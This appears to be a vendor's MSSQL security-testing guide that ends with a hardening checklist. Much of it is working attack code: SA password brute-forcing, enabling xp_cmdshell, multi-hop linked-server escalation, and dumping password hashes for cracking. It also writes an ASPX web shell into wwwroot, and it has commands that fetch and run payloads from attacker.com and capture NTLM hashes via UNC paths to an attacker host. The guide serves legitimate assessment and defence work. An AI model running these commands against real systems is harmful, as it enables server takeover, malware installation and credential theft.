Microsoft SQL Server Security Testing: SA Credentials, xp_cmdshell, and Linked Servers

Microsoft SQL Server is the most deployed enterprise relational database on Windows infrastructure, and it carries several systemic security weaknesses: the SA (System Administrator) account with blank or default passwords is common in legacy and dev installations; xp_cmdshell โ€” when enabled โ€” allows any sysadmin to execute OS commands as the SQL Server service account; linked servers create chains of trust that allow privilege escalation from a low-privilege instance to a high-privilege one; and SQL Agent jobs can execute arbitrary OS commands on a schedule. Connection string credentials embedded in application configs, IIS web.config files, and environment variables are also a primary reconnaissance target. This guide covers systematic MSSQL security assessment.

Table of Contents

  1. Discovery and Credential Attack
  2. xp_cmdshell and OS Command Execution
  3. Linked Server Privilege Escalation
  4. SQL Agent Jobs and NTLM Hash Capture
  5. MSSQL Security Hardening

Discovery and Credential Attack

SQL Server listens on TCP 1433 (default) and UDP 1434 (SQL Browser service). The SA account uses SQL authentication โ€” not Windows authentication โ€” making it vulnerable to network brute-force without domain credentials.

# MSSQL discovery and SA credential testing
# SQL Browser service reveals all named instances
nmap -sU -p 1434 --script ms-sql-info 10.0.0.0/24
nmap -sV -p 1433 --script ms-sql-info,ms-sql-empty-password,ms-sql-config 10.0.0.1

# Test SA with blank password (very common in legacy installs)
sqlcmd -S mssql.internal -U sa -P "" -Q "SELECT @@VERSION; SELECT name FROM sys.databases;"

# Test common SA passwords
for PASS in "" "sa" "password" "Password1" "sqlserver" "admin" "123456"; do
  RESULT=$(sqlcmd -S mssql.internal -U sa -P "${PASS}" -Q "SELECT 1" 2>&1)
  if echo "$RESULT" | grep -q "^1"; then
    echo "SA LOGIN SUCCESS: password='${PASS}'"
    break
  fi
done

# Enumerate SQL Server logins (requires any valid login)
sqlcmd -S mssql.internal -U sa -P "found_password" -Q "
SELECT name, type_desc, is_disabled, LOGINPROPERTY(name,'IsLocked') as locked
FROM sys.server_principals
WHERE type IN ('S','U','G')
ORDER BY type_desc, name;
"

# Check for SQL Server instances via registry (post-compromise)
reg query "HKLM\SOFTWARE\Microsoft\Microsoft SQL Server" /v InstalledInstances
reg query "HKLM\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL"

# Extract connection strings from web.config files
find C:\inetpub -name "web.config" 2>/dev/null | xargs grep -l "connectionString" | head -10
findstr /si "connectionstring\|password\|Data Source" C:\inetpub\*.config 2>/dev/null
High Impact: The SA account has sysadmin privileges โ€” the highest privilege level in SQL Server. SA access immediately enables xp_cmdshell, reading all databases, and reading Windows files via OPENROWSET/BULK INSERT. Test blank SA password first โ€” it remains common in Express edition installs and developer environments promoted to production.

xp_cmdshell and OS Command Execution

xp_cmdshell executes OS commands as the SQL Server service account (frequently NT SERVICE\MSSQLSERVER, LocalSystem, or a domain service account). It is disabled by default since SQL Server 2005 but is commonly re-enabled by DBAs for maintenance tasks and then left enabled.

-- Check if xp_cmdshell is enabled
SELECT name, value_in_use
FROM sys.configurations
WHERE name IN ('xp_cmdshell','show advanced options','clr enabled','Ole Automation Procedures');

-- Enable xp_cmdshell if disabled (requires sysadmin)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

-- Execute OS commands as SQL Server service account
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'net localgroup administrators';
EXEC xp_cmdshell 'ipconfig /all';

-- Exfiltrate data via xp_cmdshell
EXEC xp_cmdshell 'powershell -nop -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString(''http://attacker.com/ps.ps1'')"';

-- Read files via BULK INSERT (no xp_cmdshell needed)
CREATE TABLE #tmp (line VARCHAR(8000));
BULK INSERT #tmp FROM 'C:\Windows\System32\drivers\etc\hosts'
  WITH (ROWTERMINATOR='\n', FIELDTERMINATOR='|');
SELECT * FROM #tmp; DROP TABLE #tmp;

-- Write files via OLE Automation (alternative to xp_cmdshell)
EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
DECLARE @fso INT, @file INT;
EXEC sp_OACreate 'Scripting.FileSystemObject', @fso OUT;
EXEC sp_OAMethod @fso, 'CreateTextFile', @file OUT, 'C:\inetpub\wwwroot\shell.aspx', 1;
EXEC sp_OAMethod @file, 'WriteLine', NULL, '<%@ Page Language="C#"%><%System.Diagnostics.Process.Start(Request["c"]);%>';
EXEC sp_OAMethod @file, 'Close';
EXEC sp_OADestroy @file; EXEC sp_OADestroy @fso;

-- CLR assembly execution (alternative code execution path)
-- Requires clr enabled + TRUSTWORTHY database setting
SELECT name, is_trustworthy_on FROM sys.databases WHERE is_trustworthy_on=1;
-- TRUSTWORTHY + db_owner = effective sysadmin via CLR UNSAFE assembly

Linked Server Privilege Escalation

Linked servers allow one SQL Server instance to query another. If the linked server connection uses a high-privilege account on the remote server, an attacker with access to a low-privilege local instance can escalate through the link chain.

-- Enumerate linked servers and their connection credentials
SELECT
    ls.name AS linked_server,
    ls.product,
    ls.provider,
    ls.data_source,
    ll.remote_name AS remote_login,
    ll.uses_self_credential,
    CASE WHEN ll.modifier = 'SELF' THEN 'uses current login'
         WHEN ll.modifier = 'ANY' THEN 'uses stored credentials'
         ELSE ll.modifier END AS auth_mode
FROM sys.servers ls
LEFT JOIN sys.linked_logins ll ON ls.server_id = ll.server_id
WHERE ls.is_linked = 1;

-- Test execution on linked server (may run as higher-priv account)
EXEC ('SELECT @@SERVERNAME, SYSTEM_USER, IS_SRVROLEMEMBER(''sysadmin'')') AT [LINKED_SERVER_NAME];

-- Enable xp_cmdshell on linked server via chained EXEC
EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;
       sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [LINKED_SERVER_NAME];
EXEC ('xp_cmdshell ''whoami''') AT [LINKED_SERVER_NAME];

-- Multi-hop linked server attack: A->B->C
EXEC ('EXEC (''xp_cmdshell ''''whoami''''; '') AT [SERVER_C]') AT [SERVER_B];

-- Enumerate all databases and their owners across linked servers
EXEC ('SELECT name, suser_sname(owner_sid) AS owner FROM sys.databases') AT [LINKED_SERVER_NAME];

-- Check for impersonation chains (EXECUTE AS)
SELECT name, type_desc FROM sys.server_principals WHERE is_disabled=0
  AND name NOT IN ('sa','##MS_AgentSigningCertificate##','##MS_PolicySigningCertificate##');

-- Test if current user can impersonate sa
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER; -- Should show 'sa' if impersonation allowed
REVERT;

SQL Agent Jobs and NTLM Hash Capture

SQL Server Agent executes scheduled jobs as the SQL Server Agent service account. Any sysadmin can create a job that runs OS commands. Outbound UNC path requests from the SQL Server machine capture NTLM hashes that can be cracked offline.

-- Create SQL Agent job for code execution (requires sysadmin or SQLAgentOperatorRole)
USE msdb;
EXEC sp_add_job @job_name='SystemUpdate';
EXEC sp_add_jobstep @job_name='SystemUpdate', @step_name='Update',
    @subsystem='CMDEXEC',
    @command='powershell -nop -ep bypass -c "Invoke-WebRequest http://attacker.com/shell.exe -O C:\Temp\u.exe; C:\Temp\u.exe"';
EXEC sp_add_schedule @schedule_name='Now', @freq_type=1; -- One time
EXEC sp_attach_schedule @job_name='SystemUpdate', @schedule_name='Now';
EXEC sp_add_jobserver @job_name='SystemUpdate';
EXEC sp_start_job @job_name='SystemUpdate';

-- NTLM hash capture via UNC path (requires Responder on attacker machine)
-- SQL Server will authenticate to attacker's share using its service account NTLM hash
EXEC xp_dirtree '\\attacker-ip\share';
-- Or via BULK INSERT:
BULK INSERT #tmp FROM '\\attacker-ip\share\file.txt' WITH (FIELDTERMINATOR='|');
-- Or via xp_fileexist:
EXEC xp_fileexist '\\attacker-ip\share\test';

-- Hash extraction from SQL Server password hashes
SELECT name, password_hash FROM sys.sql_logins;
-- Hashes are SHA-512 (MSSQL 2012+) or SHA-1 (older) โ€” crackable offline with hashcat
-- hashcat -m 1731 mssql_hashes.txt wordlist.txt  (MSSQL 2012+)
-- hashcat -m 132 mssql_hashes.txt wordlist.txt   (MSSQL 2000)

-- Read sensitive files via OpenRowset
SELECT * FROM OPENROWSET(BULK 'C:\Windows\win.ini', SINGLE_CLOB) AS t;
SELECT * FROM OPENROWSET(BULK 'C:\inetpub\wwwroot\web.config', SINGLE_CLOB) AS t;

Automated MSSQL Security Testing

Ironimo can assess your Microsoft SQL Server for SA credential vulnerabilities, xp_cmdshell exposure, linked server privilege escalation chains, SQL Agent job abuse, and connection string credential exposure.

Start free scan

Hardening Checklist

IssueDefault StateFix
SA account blank/default passwordBlank in Express/dev installsDisable SA account; use Windows Authentication only; enforce complex password policy
xp_cmdshell enabledDisabled by default but often re-enabledDisable xp_cmdshell; remove sysadmin access from non-admin accounts; use SQL Server Audit to alert on re-enablement
Linked server stored credentialsOften uses high-priv remote accountAudit linked server logins; use delegation-only links; remove unused linked servers
TRUSTWORTHY databaseOff by default; often enabled by ORMsAudit is_trustworthy_on for all databases; disable unless explicitly required for CLR
SQL Agent permissive rolesSQLAgentOperatorRole can run jobsRestrict job creation to DBAs; audit job steps for CMDEXEC subsystem
Port 1433 internet-exposedSometimes exposed directlyRestrict port 1433 to application server IPs via firewall; use SQL Server on non-default port
UNC path requests allowedNo restriction on outbound SMBBlock outbound port 445 from SQL Server host via firewall; disable xp_dirtree
Key findings to report: SA login with blank or default password (critical); xp_cmdshell enabled (critical); linked server executing as sysadmin on remote instance (critical); NTLM hash capturable via UNC path injection (high); TRUSTWORTHY database enabling CLR privilege escalation (high); SQL Server port 1433 internet-facing (high).